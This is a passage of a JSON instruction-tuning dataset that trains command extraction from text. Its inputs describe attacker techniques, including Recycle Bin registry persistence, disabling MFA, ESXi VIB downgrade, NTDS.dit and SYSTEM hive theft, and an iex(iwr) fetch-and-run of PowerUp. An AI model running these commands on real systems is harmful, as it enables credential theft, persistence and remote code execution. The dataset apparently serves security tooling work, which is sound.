    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For copying files from a network computer's administrative share, run the command: copy \\\\#{remote}\\C$\\#{share_file} %TEMP%\\#{local_file}",
    "output": "{\"command_list\": [\"copy \\\\\\\\#{remote}\\\\C$\\\\#{share_file} %TEMP%\\\\#{local_file}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves removing any previous file and then copying the UNC file, which can be done using this command sequence: del %TEMP%\\redcanary.cab >nul 2>&1\n#{Path_replace} #{replace_cab} %TEMP% /A",
    "output": "{\"command_list\": [\"del %TEMP%\\\\redcanary.cab >nul 2>&1\\n#{Path_replace} #{replace_cab} %TEMP% /A\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For persistence via the Recycle Bin, ensuring the payload runs when clicked, execute this registry command: reg ADD \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command\" /ve /d \"calc.exe\" /f",
    "output": "{\"command_list\": [\"reg ADD \\\"HKCR\\\\CLSID\\\\{645FF040-5081-101B-9F08-00AA002F954E}\\\\shell\\\\open\\\\command\\\" /ve /d \\\"calc.exe\\\" /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To detect attempts to disable secondary authentication, which adversaries may use to bypass MFA and gain unauthorized access, run the following command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\SecondaryAuthenticationFactor\" /v \"AllowSecondaryAuthenticationDevice\" /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\SecondaryAuthenticationFactor\\\" /v \\\"AllowSecondaryAuthenticationDevice\\\" /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By executing these PowerCLI commands, an adversary can alter the VIB acceptance level to CommunitySupported: Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\n(Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level = \"CommunitySupported\"})\nDisconnect-VIServer -Confirm:$false\n. This action reduces security and enables the installation of malicious VIBs.",
    "output": "{\"command_list\": [\"Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \\nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\\n(Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level = \\\"CommunitySupported\\\"})\\nDisconnect-VIServer -Confirm:$false\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To dump the Active Directory database NTDS.dit from a Volume Shadow Copy on a domain controller, use the following commands: copy #{vsc_name}\\Windows\\NTDS\\NTDS.dit #{extract_path}\\ntds.dit\ncopy #{vsc_name}\\Windows\\System32\\config\\SYSTEM #{extract_path}\\VSC_SYSTEM_HIVE\nreg save HKLM\\SYSTEM #{extract_path}\\SYSTEM_HIVE\n",
    "output": "{\"command_list\": [\"copy #{vsc_name}\\\\Windows\\\\NTDS\\\\NTDS.dit #{extract_path}\\\\ntds.dit\\ncopy #{vsc_name}\\\\Windows\\\\System32\\\\config\\\\SYSTEM #{extract_path}\\\\VSC_SYSTEM_HIVE\\nreg save HKLM\\\\SYSTEM #{extract_path}\\\\SYSTEM_HIVE\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable the Windows Task Manager for the current user, you can modify the registry by running the following command in the cmd console: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableTaskmgr /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v DisableTaskmgr /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module 